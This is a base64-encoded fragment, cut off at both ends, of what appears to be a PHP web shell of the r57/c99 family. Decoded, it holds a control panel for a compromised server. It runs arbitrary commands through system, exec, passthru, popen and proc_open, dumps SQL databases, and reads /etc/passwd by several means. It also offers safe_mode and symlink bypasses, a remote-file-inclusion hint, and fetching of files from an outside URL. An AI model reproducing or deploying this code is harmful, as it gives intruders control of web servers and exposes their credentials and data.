bC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107CiAgJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOwogICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsKICAkc3FsLT5wYXNzID0gJF9QT1NUWydteXNxbF9wJ107CiAgJHNxbC0+YmFzZSA9ICRfUE9TVFsnbXlzcWxfZGInXTsKICBpZighJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyIjsgfQogIGVsc2UgaWYoISRzcWwtPnNlbGVjdF9kYigpKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsgfQogIGVsc2UgaWYoISRzcWwtPmR1bXAoJF9QT1NUWydteXNxbF90YmwnXSkpIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjcmVhdGUgZHVtcCI7IH0KICBlbHNlIHsKICAgaWYoZW1wdHkoJF9QT1NUWydkaWYnXSkpIHsgZm9yZWFjaCgkc3FsLT5kdW1wIGFzICR2KSBlY2hvICR2LiJcclxuIjsgfQogICBlbHNlIGlmKCRmcCl7IGZvcmVhY2goJHNxbC0+ZHVtcCBhcyAkdikgQGZwdXRzKCRmcCwkdi4iXHJcbiIpOyB9CiAgIGVsc2UgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IHdyaXRlIGluIGR1bXAgZmlsZSI7IH0KICAgfQogfQplY2hvICI8L3RleHRhcmVhPjwvZGl2PiI7CmVjaG8gIjwvYj4iOwplY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwplY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+IjsKZnVuY3Rpb24gZGl2X3RpdGxlKCR0aXRsZSwgJGlkKQp7CiAgcmV0dXJuICc8YSBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25DbGljaz0iY2hhbmdlX2RpdnN0KFwnJy4kaWQuJ1wnKTsiPicuJHRpdGxlLic8L2E+JzsKfQpmdW5jdGlvbiBkaXYoJGlkKQogewogaWYoaXNzZXQoJF9DT09LSUVbJGlkXSkgJiYgJF9DT09LSUVbJGlkXT09MCkgcmV0dXJuICc8ZGl2IGlkPSInLiRpZC4nIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPic7CiByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciPic7CiB9CgoKaWYoISRzYWZlX21vZGUpewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MiddLCdpZDEnKS4kdGFibGVfdXAyLmRpdignaWQxJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2NtZCcsODUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDg1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KZWxzZXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI4J10sJ2lkMicpLiR0YWJsZV91cDIuZGl2KCdpZDInKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdzYWZlX2RpcicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDYnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwOCddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPVwibWV0aG9kXCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwic3lzdGVtXCIgPD8gaWYgKCRtZXRob2Q9PVwic3lzdGVtXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5zeXN0ZW08L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJwYXNzdGhydVwiIDw/IGlmICgkbWV0aG9kPT1cInBhc3N0aHJ1XCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wYXNzdGhydTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT1cImV4ZWNcIiA8PyBpZiAoJG1ldGhvZD09XCJleGVjXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5leGVjPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPVwic2hlbGxfZXhlY1wiIDw/IGlmICgkbWV0aG9kPT1cInNoZWxsX2V4ZWNcIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PnNoZWxsX2V4ZWM8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJwb3BlblwiIDw/IGlmICgkbWV0aG9kPT1cInBvcGVuXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wb3Blbjwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInByb2Nfb3BlblwiIDw/IGlmICgkbWV0aG9kPT1cInByb2Nfb3BlblwiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+cHJvY19vcGVuPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywnY29tbWFuZCcsNTQsKCFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQnXSk/KCRfUE9TVFsnY29tbWFuZCddKTooImlkIikpKS5pbignaGlkZGVuJywnY21kJywwLCdjb21tYW5kJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjMnXSwnaWQ1JykuJHRhYmxlX3VwMi5kaXYoJ2lkNScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTYnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9XCJtZXRob2RcIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJmaWxlXCIgPD8gaWYgKCRtZXRob2Q9PVwiZmlsZVwiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+IGZpbGU8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJmcmVhZFwiIDw/IGlmICgkbWV0aG9kPT1cImZyZWFkXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz4gZnJlYWQ8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJzaG93X3NvdXJjZVwiIDw/IGlmICgkbWV0aG9kPT1cInNob3dfc291cmNlXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz4gc2hvd19zb3VyY2U8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJyZWFkZmlsZVwiIDw/IGlmICgkbWV0aG9kPT1cInJlYWRmaWxlXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz4gcmVhZGZpbGU8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2ZpbGUnLDAsJGRpcikud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMiddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdmaWxlJyw0MSwnL2V0Yy9wYXNzd2QnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDInXSwnaWQzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMycpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZV9uYW1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdlZGl0X2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDExJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwoKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMCddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc25uJyw4NSwnL2V0Yy9wYXNzd2QnKS5pbignaGlkZGVuJywnY21kJywwLCdjb3B5JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAwJ10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdrYWlsYXRpZ2ktbW9ubycsODUsJy9ldGMvcGFzc3dkJykuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnY1VSTCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NyddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMyddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaW5pX3Jlc3RvcmUnLDg1LCcvZXRjL3Bhc3N3ZCcpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2luaV9yZXN0b3JlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjI0J10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwMiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwicGx1Z2luXCI+PG9wdGlvbiB2YWx1ZT1cInBsdWdpblwiPi9ldGMvcGFzc3dkPC9vcHRpb24+PC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnY21kJywwLCdwbHVnaW4nKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDcnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNSddLCdpZDEyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTInKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QzX21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbWQnXSk/KCRfUE9TVFsndGVzdDNfbWQnXSk6KCJteXNxbCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX21sJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbWwnXSk/KCRfUE9TVFsndGVzdDNfbWwnXSk6KCJyb290IikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfbXAnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tcCddKT8oJF9QT1NUWyd0ZXN0M19tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDNfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDNfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ215c3FsYicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjAnXSwnaWQzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMycpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ltMXAyJyw1MCwoIWVtcHR5KCRfUE9TVFsnc3ltMXAyJ10pPygkX1BPU1RbJ3N5bTFwJ10pOigiLy4uLy4uLy4uLyIpKSkuaW4oJ3RleHQnLCdzeW0xcCcsNTAsKCFlbXB0eSgkX1BPU1RbJ3N5bTFwJ10pPygkX1BPU1RbJ3N5bTFwJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc3ltMScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjInXSwnaWQzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMycpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc3ltMicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cgp7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDQnXSwnaWQyMycpLiR0YWJsZV91cDIuZGl2KCdpZDIzJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9nJyw5NiwoIWVtcHR5KCRfUE9TVFsnbG9nJ10pPygkX1BPU1RbJ2xvZyddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ8rjINLR2iDH4dThIObIxePfx+TfIMfTys7Px+PlIGZpbGVuYW1lLnBocD9zcz1odHRwOi8vc2hlbGwudHh0PycpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDY1J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA3J10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdnbG9iJyw4NSwnL2V0Yy8nKS5pbignaGlkZGVuJywnY21kJywwLCdnbG9iJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA5J10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyb290Jyw4NSwnL2V0Yy8nKS5pbignaGlkZGVuJywnY21kJywwLCdyb290JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwoKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxMCddLCdpZDExJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTEnKS4kdHM7CmVjaG8gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnemVuZCcsODUsKCFlbXB0eSgkX1BPU1RbJ3plbmQnXSk/KCRfUE9TVFsnemVuZCddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3plbmQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwoKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjExJ10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdignaWQyMScpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxMiddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BocF9pbmkxJywxMCwncGhwLmluaScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDY1J10pKTsKZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaHRhY2NlcycsMTAsJ2h0YWNjZXNzJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NjUnXSkpOwplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTgnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmaWxlX2luaScsMTAsJ2luaS5waHAnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2NSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyMSddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IixpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDIpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdmdW56aXAnLDc4LCIkZGlyL2ZpbGUiKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z6aXAnLDEwNSwiJGRpci9zcGxvaXR6LnppcCIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTknXSwnaWQxNScpLiR0YWJsZV91cDIuZGl2KCdpZDE1JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9iPiIsaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywnZmlsZWZyb20nLDc4LCdodHRwOi8vd2Vic2l0ZS5jb20vZmlsZS50eHQnKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2ZpbGV0bycsMTA1LGZpbGVuYW1lXy5waHApLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7CgokYWxpYXNlczIgPSAnJzsKZm9yZWFjaCAoJGFsaWFzZXMgYXMgJGFsaWFzX25hbWU9PiRhbGlhc19jbWQpCiB7CiAkYWxpYXNlczIgLj0gIjxvcHRpb24+JGFsaWFzX25hbWU8L29wdGlvbj4iOwogfQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NyddLCdpZDYnKS4kdGFibGVfdXAyLmRpdignaWQ2JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLndzKDkpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4J10uJGFycm93LndzKDQpLiI8L2I+IiwiPHNlbGVjdCBuYW1lPWFsaWFzPiIuJGFsaWFzZXMyLiI8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKCn0KCmlmKCRzYWZlX21vZGUpewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTcnXSwnaWQ0JykuJHRhYmxlX3VwMi5kaXYoJ2lkNCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbWtfbmFtZScsNTQsKCFlbXB0eSgkX1BPU1RbJ21rX25hbWUnXSk/KCRfUE9TVFsnbWtfbmFtZSddKTooIm5ld19uYW1lIikpKS53cyg0KS4iPHNlbGVjdCBuYW1lPWFjdGlvbj48b3B0aW9uIHZhbHVlPWNyZWF0ZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NSddLiI8L29wdGlvbj48b3B0aW9uIHZhbHVlPWRlbGV0ZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NiddLiI8L29wdGlvbj48L3NlbGVjdD4iLndzKDMpLiI8c2VsZWN0IG5hbWU9d2hhdD48b3B0aW9uIHZhbHVlPWZpbGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kaXI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjAnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnY21kJywwLCdtaycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR